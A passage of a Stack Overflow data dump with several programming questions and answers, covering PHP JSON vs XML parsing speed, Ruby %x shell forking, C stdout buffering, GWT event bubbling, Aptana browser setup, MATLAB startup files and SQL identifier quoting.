"text": "<p>There's only one way to determine which is going to be easier on your server in your application with your data.</p>\n\n<p>Test it!</p>\n\n<p>I'd generate some data that looks similar to what you'll be translating and use one of the unit testing frameworks to decode it a few thousand times using each of SimpleXML and json_decode, enough to get meaningful results. And then you can tell us what worked.</p>\n\n<p>Sorry this isn't exactly the sort of answer you were looking for, but in reality, it's the only right way to do it. Good luck!</p>\n"
},
{
"answer_id": 216397,
"author": "James Hall",
"author_id": 7496,
"author_profile": "https://Stackoverflow.com/users/7496",
"pm_score": 2,
"selected": false,
"text": "<p>Not really an answer to the question, but you could just wait until you have lots of users hitting your system. You may be surprised where your bottlenecks actually lie:</p>\n\n<p><a href=\"http://gettingreal.37signals.com/ch04_Scale_Later.php\" rel=\"nofollow noreferrer\">http://gettingreal.37signals.com/ch04_Scale_Later.php</a></p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214143",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11577/"
] |
I'm starting to develop a web application in PHP that I hope will become incredibly popular and make me famous and rich. :-)
If that time comes, my decision whether to parse the API's data as XML with SimpleXML or to use json\_decode could make a difference in the app's scalability.
Does anyone know which of these approaches is more efficient for the server?
**Update:** I ran a rudimentary test to see which method was more performant. It appears that `json_decode` is slightly faster executing than `simplexml_load_string`. This isn't terribly conclusive because it doesn't test things like the scalability of concurrent processes. My conclusion is that I will go with SimpleXML for the time being because of its support for XPath expressions.
```
<?php
$xml = file_get_contents('sample.xml');
$json = file_get_contents('sample.js');
$iters = 1000;
// simplexml_load_string
$start_xml = microtime(true);
for ($i = 0; $i < $iters; ++$i) {
$obj = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA);
}
$end_xml = microtime(true);
// json_decode
$start_json = microtime(true);
for ($i = 0; $i < $iters; ++$i) {
$obj = json_decode($json);
}
$end_json = microtime(true);
?>
<pre>XML elapsed: <?=sprintf('%.4f', ($end_xml - $start_xml))?></pre>
<pre>JSON elapsed: <?=sprintf('%.4f', ($end_json - $start_json))?></pre>
```
Result:
```
XML elapsed: 9.9836
JSON elapsed: 8.3606
```
|
As the "lighter" format, I'd expect JSON to be slightly less stressful on the server, but I doubt it will be the biggest performance issue you find yourself dealing with as your site grows in popularity. Use whichever format you're more comfortable with.
Alternatively, if you know how you'll be structuring your data, you could try making an XML-formatted version and a JSON-formatted version and just run it against your setup a few hundred thousand times to see if it makes a noticeable difference.
|
214,205 |
<p>Here's some Ruby code:</p>
<pre><code>puts %x{ pstree #{$$} } # never forks
puts %x{ pstree '#{$$}' } # forks on amd64 only
</code></pre>
<p>On 32-bit Ubuntu Dapper, I get this output:</p>
<pre><code>t.rb---pstree
t.rb---pstree
</code></pre>
<p>Which makes sense to me. But on 64-bit Ubuntu Hardy, I get this:</p>
<pre><code>t.rb---sh---pstree
t.rb---pstree
</code></pre>
<p>What's being shown here is that Ruby forks before exec'ing in just one of the cases. When I put the code in a file and run it under strace -fF, it appears that on 64-bit Hardy it calls <code>clone()</code> (like <code>fork()</code>) before <code>execve()</code>, whereas on 32-bit Dapper it does no such thing.</p>
<p>My Ruby versions are:</p>
<pre><code>ruby 1.8.4 (2005-12-24) [i486-linux]
ruby 1.8.6 (2007-09-24 patchlevel 111) [x86_64-linux]
</code></pre>
<p>I should try mixing & matching interpreters & OS's & word sizes more, but right now it's not easy since I don't administer these machines. Maybe someone among you can tell me what the difference even is between these commands on the 64-bit system, let alone why they work the same on the 32-bit one.</p>
|
[
{
"answer_id": 214263,
"author": "Robert Gamble",
"author_id": 25222,
"author_profile": "https://Stackoverflow.com/users/25222",
"pm_score": 3,
"selected": true,
"text": "<p>Ruby performs shell expansion when %x is used with a single argument (like you are doing).</p>\n\n<p>Here's my guess as to what is going on:</p>\n\n<p>Ruby scans the command to determine if there are any special characters that would result in the need to perform shell expansion, if so it calls the shell to do that. In the second example the single quotes are enough to make Ruby want to call the shell to do the expansion, hence the fork. In the first example Ruby can determine that shell expansion is not needed as the command contains no special characters (after variable expansion), hence no fork. The difference between the two versions probably has to do with an internal change in how ruby tries to determine is shell expansion is needed. I get a fork for the second example on ruby 1.8.5 on a 32-bit machine.</p>\n\n<p>[EDIT]</p>\n\n<p>Okay, I took a look at the source code for ruby 1.8.4 and 1.8.6 and both versions use the same criteria to determine whether or not to call a shell to perform shell expansion, if any of the following characters exist in the command line the shell will be invoked when one argument to %x is provided:</p>\n\n<pre><code>*?{}[]<>()~&|\\\\$;'`\"\\n\n</code></pre>\n\n<p>Ruby is actually calling the shell in both cases (in example that contains the quotes), the reason you are seeing different outputs from <code>pstree</code> is due to differences in the the <code>sh</code> command on the different machines, one calls <code>fork</code>, the other doesn't. To see this for yourself, run this command on both machines:</p>\n\n<pre><code>/bin/sh -c \"pstree $$\"\n</code></pre>\n\n<p>This is the command that Ruby is using to execute <code>pstree</code> in the example with quotes on both machines. You should see <code>bash---pstree</code> on the 32-bit machine and <code>bash---sh---pstree</code> on the other one.</p>\n\n<p>So now I'm curious, what led you to discover this difference and is it causing a problem?</p>\n"
},
{
"answer_id": 7541134,
"author": "Andre Souza",
"author_id": 962921,
"author_profile": "https://Stackoverflow.com/users/962921",
"pm_score": 1,
"selected": false,
"text": "<p>I went through this situation by developing an asynchronous processor work that has a series of subprocesses(fork), and it happened when the master was in the foreground and received a SIGINT.</p>\n\n<p>I run: puts \"the result is %(monster-delayed-job)\"</p>\n\n<p>and the output was only: \"the result is \"</p>\n\n<ul>\n<li>Yes, Im \"trap\" SIGINT in the master</li>\n</ul>\n\n<p>Andre</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214205",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4323/"
] |
Here's some Ruby code:
```
puts %x{ pstree #{$$} } # never forks
puts %x{ pstree '#{$$}' } # forks on amd64 only
```
On 32-bit Ubuntu Dapper, I get this output:
```
t.rb---pstree
t.rb---pstree
```
Which makes sense to me. But on 64-bit Ubuntu Hardy, I get this:
```
t.rb---sh---pstree
t.rb---pstree
```
What's being shown here is that Ruby forks before exec'ing in just one of the cases. When I put the code in a file and run it under strace -fF, it appears that on 64-bit Hardy it calls `clone()` (like `fork()`) before `execve()`, whereas on 32-bit Dapper it does no such thing.
My Ruby versions are:
```
ruby 1.8.4 (2005-12-24) [i486-linux]
ruby 1.8.6 (2007-09-24 patchlevel 111) [x86_64-linux]
```
I should try mixing & matching interpreters & OS's & word sizes more, but right now it's not easy since I don't administer these machines. Maybe someone among you can tell me what the difference even is between these commands on the 64-bit system, let alone why they work the same on the 32-bit one.
|
Ruby performs shell expansion when %x is used with a single argument (like you are doing).
Here's my guess as to what is going on:
Ruby scans the command to determine if there are any special characters that would result in the need to perform shell expansion, if so it calls the shell to do that. In the second example the single quotes are enough to make Ruby want to call the shell to do the expansion, hence the fork. In the first example Ruby can determine that shell expansion is not needed as the command contains no special characters (after variable expansion), hence no fork. The difference between the two versions probably has to do with an internal change in how ruby tries to determine is shell expansion is needed. I get a fork for the second example on ruby 1.8.5 on a 32-bit machine.
[EDIT]
Okay, I took a look at the source code for ruby 1.8.4 and 1.8.6 and both versions use the same criteria to determine whether or not to call a shell to perform shell expansion, if any of the following characters exist in the command line the shell will be invoked when one argument to %x is provided:
```
*?{}[]<>()~&|\\$;'`"\n
```
Ruby is actually calling the shell in both cases (in example that contains the quotes), the reason you are seeing different outputs from `pstree` is due to differences in the the `sh` command on the different machines, one calls `fork`, the other doesn't. To see this for yourself, run this command on both machines:
```
/bin/sh -c "pstree $$"
```
This is the command that Ruby is using to execute `pstree` in the example with quotes on both machines. You should see `bash---pstree` on the 32-bit machine and `bash---sh---pstree` on the other one.
So now I'm curious, what led you to discover this difference and is it causing a problem?
|
214,215 |
<p>I have several user drawn controls on a form, unfortunately when the form is shown the user drawn controls are showing the previous forms background rather than the current forms background. </p>
<p>The OnPaint event is very simple, and the OnBackgroundPaint event is empty... </p>
<p>Like this:</p>
<pre><code> protected override void OnPaint(PaintEventArgs pe)
{
pe.Graphics.DrawImageUnscaled(_bmpImage, 0, 0);
}
protected override void OnPaintBackground(PaintEventArgs pevent)
{
//Leave empty...
}
</code></pre>
<p>How do I get the current background to be the transparency that is shown, rather than the background of the previous form?</p>
|
[
{
"answer_id": 214263,
"author": "Robert Gamble",
"author_id": 25222,
"author_profile": "https://Stackoverflow.com/users/25222",
"pm_score": 3,
"selected": true,
"text": "<p>Ruby performs shell expansion when %x is used with a single argument (like you are doing).</p>\n\n<p>Here's my guess as to what is going on:</p>\n\n<p>Ruby scans the command to determine if there are any special characters that would result in the need to perform shell expansion, if so it calls the shell to do that. In the second example the single quotes are enough to make Ruby want to call the shell to do the expansion, hence the fork. In the first example Ruby can determine that shell expansion is not needed as the command contains no special characters (after variable expansion), hence no fork. The difference between the two versions probably has to do with an internal change in how ruby tries to determine is shell expansion is needed. I get a fork for the second example on ruby 1.8.5 on a 32-bit machine.</p>\n\n<p>[EDIT]</p>\n\n<p>Okay, I took a look at the source code for ruby 1.8.4 and 1.8.6 and both versions use the same criteria to determine whether or not to call a shell to perform shell expansion, if any of the following characters exist in the command line the shell will be invoked when one argument to %x is provided:</p>\n\n<pre><code>*?{}[]<>()~&|\\\\$;'`\"\\n\n</code></pre>\n\n<p>Ruby is actually calling the shell in both cases (in example that contains the quotes), the reason you are seeing different outputs from <code>pstree</code> is due to differences in the the <code>sh</code> command on the different machines, one calls <code>fork</code>, the other doesn't. To see this for yourself, run this command on both machines:</p>\n\n<pre><code>/bin/sh -c \"pstree $$\"\n</code></pre>\n\n<p>This is the command that Ruby is using to execute <code>pstree</code> in the example with quotes on both machines. You should see <code>bash---pstree</code> on the 32-bit machine and <code>bash---sh---pstree</code> on the other one.</p>\n\n<p>So now I'm curious, what led you to discover this difference and is it causing a problem?</p>\n"
},
{
"answer_id": 7541134,
"author": "Andre Souza",
"author_id": 962921,
"author_profile": "https://Stackoverflow.com/users/962921",
"pm_score": 1,
"selected": false,
"text": "<p>I went through this situation by developing an asynchronous processor work that has a series of subprocesses(fork), and it happened when the master was in the foreground and received a SIGINT.</p>\n\n<p>I run: puts \"the result is %(monster-delayed-job)\"</p>\n\n<p>and the output was only: \"the result is \"</p>\n\n<ul>\n<li>Yes, Im \"trap\" SIGINT in the master</li>\n</ul>\n\n<p>Andre</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214215",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29140/"
] |
I have several user drawn controls on a form, unfortunately when the form is shown the user drawn controls are showing the previous forms background rather than the current forms background.
The OnPaint event is very simple, and the OnBackgroundPaint event is empty...
Like this:
```
protected override void OnPaint(PaintEventArgs pe)
{
pe.Graphics.DrawImageUnscaled(_bmpImage, 0, 0);
}
protected override void OnPaintBackground(PaintEventArgs pevent)
{
//Leave empty...
}
```
How do I get the current background to be the transparency that is shown, rather than the background of the previous form?
|
Ruby performs shell expansion when %x is used with a single argument (like you are doing).
Here's my guess as to what is going on:
Ruby scans the command to determine if there are any special characters that would result in the need to perform shell expansion, if so it calls the shell to do that. In the second example the single quotes are enough to make Ruby want to call the shell to do the expansion, hence the fork. In the first example Ruby can determine that shell expansion is not needed as the command contains no special characters (after variable expansion), hence no fork. The difference between the two versions probably has to do with an internal change in how ruby tries to determine is shell expansion is needed. I get a fork for the second example on ruby 1.8.5 on a 32-bit machine.
[EDIT]
Okay, I took a look at the source code for ruby 1.8.4 and 1.8.6 and both versions use the same criteria to determine whether or not to call a shell to perform shell expansion, if any of the following characters exist in the command line the shell will be invoked when one argument to %x is provided:
```
*?{}[]<>()~&|\\$;'`"\n
```
Ruby is actually calling the shell in both cases (in example that contains the quotes), the reason you are seeing different outputs from `pstree` is due to differences in the the `sh` command on the different machines, one calls `fork`, the other doesn't. To see this for yourself, run this command on both machines:
```
/bin/sh -c "pstree $$"
```
This is the command that Ruby is using to execute `pstree` in the example with quotes on both machines. You should see `bash---pstree` on the 32-bit machine and `bash---sh---pstree` on the other one.
So now I'm curious, what led you to discover this difference and is it causing a problem?
|
214,262 |
<p>I have the following snippet of code, changeTextArea is a TextArea object.</p>
<pre><code>changeTextArea.addKeyboardListener(new KeyboardListenerAdapter()
public void onKeyPress( Widget sender, char keyCode, int modifier){
//do something
//I WISH TO STOP THE EVENT THAT MAPS TO THIS KEYPRESS FROM BUBBLING ANY FURTHER
}
}
</code></pre>
<p>How would I stop the Event that is causing this method to be called from bubbling up from changeTextArea into the Panels/Widgets/Composites/Whatever that contain changeTextArea. Put succinctly, how do I stop it from bubbling any further. Any help would be appreciated (especially code samples).</p>
|
[
{
"answer_id": 214633,
"author": "rustyshelf",
"author_id": 6044,
"author_profile": "https://Stackoverflow.com/users/6044",
"pm_score": 4,
"selected": true,
"text": "<p>As far as I know you can't do it via a keyboard listener, but it is possible by adding an event preview using the DOM class:</p>\n\n<pre><code>DOM.addEventPreview(EventPreview preview) \n</code></pre>\n\n<p>Then when you get the event:</p>\n\n<pre><code>onEventPreview(Event event) \n</code></pre>\n\n<p>You should return false, to say you want to cancel the event. The Event object also supports this method:</p>\n\n<pre><code>public final void cancelBubble(boolean cancel)\n</code></pre>\n\n<p>Cancels bubbling for the given event. This will stop the event from being propagated to parent elements. </p>\n\n<p>You can find more details here:\n<a href=\"http://google-web-toolkit.googlecode.com/svn/javadoc/1.5/index.html?overview-summary.html\" rel=\"noreferrer\">http://google-web-toolkit.googlecode.com/svn/javadoc/1.5/index.html?overview-summary.html</a></p>\n"
},
{
"answer_id": 219158,
"author": "jgindin",
"author_id": 17941,
"author_profile": "https://Stackoverflow.com/users/17941",
"pm_score": 2,
"selected": false,
"text": "<p>You can definitely use the Event's cancelBubble() and preventDefault() methods from within any code that has access to the Event. There's no need to have an event preview...</p>\n"
},
{
"answer_id": 4505402,
"author": "Sean",
"author_id": 550686,
"author_profile": "https://Stackoverflow.com/users/550686",
"pm_score": 2,
"selected": false,
"text": "<p>You can call the sender's cancelKey() event. Here's an example that will only allow numbers to be inputted, all other keys get rejected. </p>\n\n<p>private class RowColChangeHandler implements KeyPressHandler\n {</p>\n\n<pre><code> public void onKeyPress(KeyPressEvent event) {\n char keyCode = event.getCharCode();\n if(keyCode <48 || keyCode >57)\n {\n ((TextArea)event.getSource()).cancelKey();\n }\n }\n}\n</code></pre>\n"
},
{
"answer_id": 24996839,
"author": "guillermo",
"author_id": 3884482,
"author_profile": "https://Stackoverflow.com/users/3884482",
"pm_score": 0,
"selected": false,
"text": "<p>you could reach it when possible by doing\n<code>event.doit = false</code></p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214262",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/21317/"
] |
I have the following snippet of code, changeTextArea is a TextArea object.
```
changeTextArea.addKeyboardListener(new KeyboardListenerAdapter()
public void onKeyPress( Widget sender, char keyCode, int modifier){
//do something
//I WISH TO STOP THE EVENT THAT MAPS TO THIS KEYPRESS FROM BUBBLING ANY FURTHER
}
}
```
How would I stop the Event that is causing this method to be called from bubbling up from changeTextArea into the Panels/Widgets/Composites/Whatever that contain changeTextArea. Put succinctly, how do I stop it from bubbling any further. Any help would be appreciated (especially code samples).
|
As far as I know you can't do it via a keyboard listener, but it is possible by adding an event preview using the DOM class:
```
DOM.addEventPreview(EventPreview preview)
```
Then when you get the event:
```
onEventPreview(Event event)
```
You should return false, to say you want to cancel the event. The Event object also supports this method:
```
public final void cancelBubble(boolean cancel)
```
Cancels bubbling for the given event. This will stop the event from being propagated to parent elements.
You can find more details here:
<http://google-web-toolkit.googlecode.com/svn/javadoc/1.5/index.html?overview-summary.html>
|
214,271 |
<p>In Perl, I can type:</p>
<pre><code>$|++;
</code></pre>
<p>and anything printed to STDOUT will be automatically fflush()ed.</p>
<p>Is there an equivalent in C? In other words, is there some way I can tell stdio to automatically fflush stdout after every printf(), the way it automatically flushes stderr?</p>
|
[
{
"answer_id": 214282,
"author": "CesarB",
"author_id": 28258,
"author_profile": "https://Stackoverflow.com/users/28258",
"pm_score": 3,
"selected": false,
"text": "<p>Take a look at setbuf() and setvbuf().</p>\n"
},
{
"answer_id": 214290,
"author": "Harry",
"author_id": 4704,
"author_profile": "https://Stackoverflow.com/users/4704",
"pm_score": 6,
"selected": true,
"text": "<p>Try <code>setvbuf(stdout, NULL, _IONBF, 0)</code>. It changes <code>stdout</code> to unbuffered (<code>_IONBF</code>) mode.</p>\n"
},
{
"answer_id": 214292,
"author": "yogman",
"author_id": 24349,
"author_profile": "https://Stackoverflow.com/users/24349",
"pm_score": 4,
"selected": false,
"text": "<p>I haven't done this, but <code>_IOLBF</code> would be the right answer.</p>\n\n<pre><code>$ man setvbuf\nNAME\n setvbuf — assign buffering to a stream\n\nSYNOPSIS\n #include <stdio.h>\n\n int setvbuf(FILE *restrict stream, char *restrict buf, int type,\n size_t size);\n\nDESCRIPTION\n The functionality described on this reference page is aligned with\n the ISO C standard. Any conflict between the requirements described\n here and the ISO C standard is unintentional. This volume of\n POSIX.1‐2008 defers to the ISO C standard.\n\n The setvbuf() function may be used after the stream pointed to by\n stream is associated with an open file but before any other operation\n (other than an unsuccessful call to setvbuf()) is performed on the\n stream. The argument type determines how stream shall be buffered, as\n follows:\n\n * {_IOFBF} shall cause input/output to be fully buffered.\n\n * {_IOLBF} shall cause input/output to be line buffered.\n\n * {_IONBF} shall cause input/output to be unbuffered.\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214271",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7598/"
] |
In Perl, I can type:
```
$|++;
```
and anything printed to STDOUT will be automatically fflush()ed.
Is there an equivalent in C? In other words, is there some way I can tell stdio to automatically fflush stdout after every printf(), the way it automatically flushes stderr?
|
Try `setvbuf(stdout, NULL, _IONBF, 0)`. It changes `stdout` to unbuffered (`_IONBF`) mode.
|
214,272 |
<p>I downloaded the Aptana_Studio_Setup_Linux.zip package, unpacked it and run ./AptanaStudio. It starts fine, but reports one problem:</p>
<p><em>The embedded browser widget for this editor cannot be created. It is either not available for your operating system or the system needs to be configured in order to support embedded browser.</em></p>
<p>After that, it opens the "Welcome page" in external browser (Mozilla), but when I click on a link to install PHP support it does not open the destination target. No wonder, because the link is in format: com.aptana....etc. I.e. written in reverse. I assume such links only work with internal browser.</p>
<p>If I look into details, I get these error messages:</p>
<pre><code>No more handles [Unknown Mozilla path (MOZILLA_FIVE_HOME not set)]
org.eclipse.swt.SWTError: No more handles [Unknown Mozilla path (MOZILLA_FIVE_HOME not set)]
at org.eclipse.swt.SWT.error(SWT.java:3400)
at org.eclipse.swt.browser.Browser.<init>(Browser.java:138)
at org.eclipse.ui.internal.browser.BrowserViewer.<init>(BrowserViewer.java:224)
at org.eclipse.ui.internal.browser.WebBrowserEditor.createPartControl(WebBrowserEditor.java:78)
at com.aptana.ide.intro.browser.CoreBrowserEditor.createPartControl(CoreBrowserEditor.java:138)
at org.eclipse.ui.internal.EditorReference.createPartHelper(EditorReference.java:596)
at org.eclipse.ui.internal.EditorReference.createPart(EditorReference.java:372)
at org.eclipse.ui.internal.WorkbenchPartReference.getPart(WorkbenchPartReference.java:566)
at org.eclipse.ui.internal.PartPane.setVisible(PartPane.java:290)
</code></pre>
<p>etc. I hope this is enough.</p>
<p>I tried to set the env. variable:</p>
<pre><code>export MOZILLA_FIVE_HOME=/usr/lib/mozilla/
</code></pre>
<p>However, it only changes the error message to:</p>
<pre><code>No more handles [NS_InitEmbedding /usr/lib/mozilla/ error -2147221164]
org.eclipse.swt.SWTError: No more handles [NS_InitEmbedding /usr/lib/mozilla/ error -2147221164]
at org.eclipse.swt.SWT.error(SWT.java:3400)
at org.eclipse.swt.browser.Browser.<init>(Browser.java:225)
at org.eclipse.ui.internal.browser.BrowserViewer.<init>(BrowserViewer.java:224)
at org.eclipse.ui.internal.browser.WebBrowserEditor.createPartControl(WebBrowserEditor.java:78)
at com.aptana.ide.intro.browser.CoreBrowserEditor.createPartControl(CoreBrowserEditor.java:138)
at org.eclipse.ui.internal.EditorReference.createPartHelper(EditorReference.java:596)
at org.eclipse.ui.internal.EditorReference.createPart(EditorReference.java:372)
</code></pre>
<p>For start I really want to have PHP working, but I'd also like to fix the whole internal browser issue in the end.</p>
|
[
{
"answer_id": 215481,
"author": "Oli",
"author_id": 12870,
"author_profile": "https://Stackoverflow.com/users/12870",
"pm_score": -1,
"selected": false,
"text": "<p>If this is the problem I think you're having, just installing Firefox 2 (alongside FF3) should fix the issue. It happens because Aptana can only use FF2 at the moment. Hopefully they'll fix this soon.</p>\n\n<p>If you're on Ubuntu, it's really just a case of:</p>\n\n<pre><code>sudo apt-get install firefox-2\n</code></pre>\n\n<p>Naturally, the process will vary on different distributions.</p>\n"
},
{
"answer_id": 581640,
"author": "Alterlife",
"author_id": 36848,
"author_profile": "https://Stackoverflow.com/users/36848",
"pm_score": 1,
"selected": false,
"text": "<p>You need to download and install XULRunner from <a href=\"https://developer.mozilla.org/En/XULRunner\" rel=\"nofollow noreferrer\">mozilla.org</a>, and point MOZILLA_FIVE_HOME to that directory.</p>\n"
},
{
"answer_id": 588864,
"author": "kthakore",
"author_id": 65875,
"author_profile": "https://Stackoverflow.com/users/65875",
"pm_score": 1,
"selected": false,
"text": "<p>After installing xulrunner you need to set this:</p>\n\n<pre><code>MOZILLA_FIVE_HOME=/usr/lib/xulrunner\n</code></pre>\n"
},
{
"answer_id": 591407,
"author": "Milan Babuškov",
"author_id": 14690,
"author_profile": "https://Stackoverflow.com/users/14690",
"pm_score": 1,
"selected": true,
"text": "<p><strong>Edit:</strong> getting internal browser to work is NOT required in order to get PHP support in Aptana. Just install PHP support from <strong>Help</strong>, <strong>Software updates</strong> menu.</p>\n"
},
{
"answer_id": 19353385,
"author": "moollaza",
"author_id": 819937,
"author_profile": "https://Stackoverflow.com/users/819937",
"pm_score": 3,
"selected": false,
"text": "<p>I happened to come across this: <a href=\"https://groups.google.com/forum/#!msg/xmind/5SjPTy0MmEo/PbPi0OGzqPwJ\">https://groups.google.com/forum/#!msg/xmind/5SjPTy0MmEo/PbPi0OGzqPwJ</a></p>\n\n<p>Which advised running: </p>\n\n<pre><code>sudo apt-get install libwebkitgtk-1.0-0\n</code></pre>\n\n<p>should solve the problem. It worked for me so I figured I'd share here.</p>\n\n<p>FWIW, I ended up here while trying to get the Play! Framework working on Ubuntu 13.04. using the Scala-IDE. So far, everything seems to be working...</p>\n"
},
{
"answer_id": 20526735,
"author": "Thiha",
"author_id": 3092311,
"author_profile": "https://Stackoverflow.com/users/3092311",
"pm_score": 1,
"selected": false,
"text": "<p>You will have to install XULRunner then edit the eclipse.ini.</p>\n\n<p>After installing xulrunner, adding the following line in the eclipse.ini solved the problem of \"No more handles\" issue.</p>\n\n<p>-Dorg.eclipse.swt.browser.XULRunnerPath=/opt/eclipse/xulrunner/</p>\n\n<p>I am using eclipse 3.63 and ubuntu 12.04.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214272",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14690/"
] |
I downloaded the Aptana\_Studio\_Setup\_Linux.zip package, unpacked it and run ./AptanaStudio. It starts fine, but reports one problem:
*The embedded browser widget for this editor cannot be created. It is either not available for your operating system or the system needs to be configured in order to support embedded browser.*
After that, it opens the "Welcome page" in external browser (Mozilla), but when I click on a link to install PHP support it does not open the destination target. No wonder, because the link is in format: com.aptana....etc. I.e. written in reverse. I assume such links only work with internal browser.
If I look into details, I get these error messages:
```
No more handles [Unknown Mozilla path (MOZILLA_FIVE_HOME not set)]
org.eclipse.swt.SWTError: No more handles [Unknown Mozilla path (MOZILLA_FIVE_HOME not set)]
at org.eclipse.swt.SWT.error(SWT.java:3400)
at org.eclipse.swt.browser.Browser.<init>(Browser.java:138)
at org.eclipse.ui.internal.browser.BrowserViewer.<init>(BrowserViewer.java:224)
at org.eclipse.ui.internal.browser.WebBrowserEditor.createPartControl(WebBrowserEditor.java:78)
at com.aptana.ide.intro.browser.CoreBrowserEditor.createPartControl(CoreBrowserEditor.java:138)
at org.eclipse.ui.internal.EditorReference.createPartHelper(EditorReference.java:596)
at org.eclipse.ui.internal.EditorReference.createPart(EditorReference.java:372)
at org.eclipse.ui.internal.WorkbenchPartReference.getPart(WorkbenchPartReference.java:566)
at org.eclipse.ui.internal.PartPane.setVisible(PartPane.java:290)
```
etc. I hope this is enough.
I tried to set the env. variable:
```
export MOZILLA_FIVE_HOME=/usr/lib/mozilla/
```
However, it only changes the error message to:
```
No more handles [NS_InitEmbedding /usr/lib/mozilla/ error -2147221164]
org.eclipse.swt.SWTError: No more handles [NS_InitEmbedding /usr/lib/mozilla/ error -2147221164]
at org.eclipse.swt.SWT.error(SWT.java:3400)
at org.eclipse.swt.browser.Browser.<init>(Browser.java:225)
at org.eclipse.ui.internal.browser.BrowserViewer.<init>(BrowserViewer.java:224)
at org.eclipse.ui.internal.browser.WebBrowserEditor.createPartControl(WebBrowserEditor.java:78)
at com.aptana.ide.intro.browser.CoreBrowserEditor.createPartControl(CoreBrowserEditor.java:138)
at org.eclipse.ui.internal.EditorReference.createPartHelper(EditorReference.java:596)
at org.eclipse.ui.internal.EditorReference.createPart(EditorReference.java:372)
```
For start I really want to have PHP working, but I'd also like to fix the whole internal browser issue in the end.
|
**Edit:** getting internal browser to work is NOT required in order to get PHP support in Aptana. Just install PHP support from **Help**, **Software updates** menu.
|
214,304 |
<p>I would like to set some initial variables (like <code>format compact</code> and the current directory) automatically on each startup of Matlab.<br>
How can I do that?</p>
|
[
{
"answer_id": 214354,
"author": "Mr Fooz",
"author_id": 25050,
"author_profile": "https://Stackoverflow.com/users/25050",
"pm_score": 1,
"selected": false,
"text": "<p>Create a <a href=\"http://www.mathworks.com/access/helpdesk/help/techdoc/index.html?/access/helpdesk/help/techdoc/ref/startup.html\" rel=\"nofollow noreferrer\">startup.m</a> file in the directory that you launch matlab from.</p>\n"
},
{
"answer_id": 214382,
"author": "SCFrench",
"author_id": 4928,
"author_profile": "https://Stackoverflow.com/users/4928",
"pm_score": 4,
"selected": true,
"text": "<p>Create a startup.m script file containing the commands to set up the state that you want. Next, from inside MATLAB, run the command</p>\n\n<pre><code>>> userpath\n</code></pre>\n\n<p>This will give you a list of one or more user-specific directories (depending on what OS you are using); put your startup.m in any of those directories and it will be found whenever you start MATLAB (startup.m is also found if it is in the directory from which MATLAB is started, but the technique above allows you to start MATLAB from an arbitrary directory and still have startup.m get run).</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214304",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1034/"
] |
I would like to set some initial variables (like `format compact` and the current directory) automatically on each startup of Matlab.
How can I do that?
|
Create a startup.m script file containing the commands to set up the state that you want. Next, from inside MATLAB, run the command
```
>> userpath
```
This will give you a list of one or more user-specific directories (depending on what OS you are using); put your startup.m in any of those directories and it will be found whenever you start MATLAB (startup.m is also found if it is in the directory from which MATLAB is started, but the technique above allows you to start MATLAB from an arbitrary directory and still have startup.m get run).
|
214,309 |
<p>For example, mysql quote table name using </p>
<pre><code>SELECT * FROM `table_name`;
</code></pre>
<p>notice the ` </p>
<p>Does other database ever use different char to quote their table name</p>
|
[
{
"answer_id": 214338,
"author": "Alexander Kojevnikov",
"author_id": 712,
"author_profile": "https://Stackoverflow.com/users/712",
"pm_score": 2,
"selected": false,
"text": "<p>SQL Server uses [square brackets] or \"double quotes\" when QUOTED_IDENTIFIER option is ON.</p>\n\n<p>I believe double quotes are in the SQL-92 standard.</p>\n"
},
{
"answer_id": 214344,
"author": "Bill Karwin",
"author_id": 20860,
"author_profile": "https://Stackoverflow.com/users/20860",
"pm_score": 6,
"selected": true,
"text": "<p>This use of quotes is called delimited identifiers. It's an important part of SQL because otherwise you can't use identifiers (e.g. table names and column names) that:</p>\n\n<ul>\n<li>Include whitespace: \"my table\"</li>\n<li>Include special characters and punctuation: \"my-table\"</li>\n<li>Include international characters: \"私のテーブル\"</li>\n<li>Are case-sensitive: \"MyTable\"</li>\n<li>Match SQL keywords: \"table\"</li>\n</ul>\n\n<p>The standard SQL language uses double-quotes for delimited identifiers:</p>\n\n<pre><code>SELECT * FROM \"my table\";\n</code></pre>\n\n<p>MySQL uses back-quotes by default. MySQL can use standard double-quotes:</p>\n\n<pre><code>SELECT * FROM `my table`;\nSET SQL_MODE=ANSI_QUOTES;\nSELECT * FROM \"my table\";\n</code></pre>\n\n<p>Microsoft SQL Server and Sybase uses brackets by default. They can both use standard double-quotes this way: </p>\n\n<pre><code>SELECT * FROM [my table];\nSET QUOTED_IDENTIFIER ON;\nSELECT * FROM \"my table\";\n</code></pre>\n\n<p>InterBase and Firebird need to set the SQL dialect to 3 to support delimited identifiers.</p>\n\n<p>Most other brands of database use double-quotes correctly.</p>\n"
},
{
"answer_id": 214360,
"author": "Jonathan Leffler",
"author_id": 15168,
"author_profile": "https://Stackoverflow.com/users/15168",
"pm_score": 2,
"selected": false,
"text": "<p>Succinctly, yes.</p>\n\n<p>The SQL standard uses double quotes around the name to indicate a 'delimited identifier'.</p>\n\n<p>Informix by default uses single and double quotes interchangeably to indicate character strings. However, by setting the environment variable DELIMIDENT you can turn on the SQL standard behaviour - single quotes around strings and double quotes around delimited identifiers.</p>\n\n<p>Other people have listed other behaviours for other DBMS; I don't need to repeat those.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214309",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20907/"
] |
For example, mysql quote table name using
```
SELECT * FROM `table_name`;
```
notice the `
Does other database ever use different char to quote their table name
|
This use of quotes is called delimited identifiers. It's an important part of SQL because otherwise you can't use identifiers (e.g. table names and column names) that:
* Include whitespace: "my table"
* Include special characters and punctuation: "my-table"
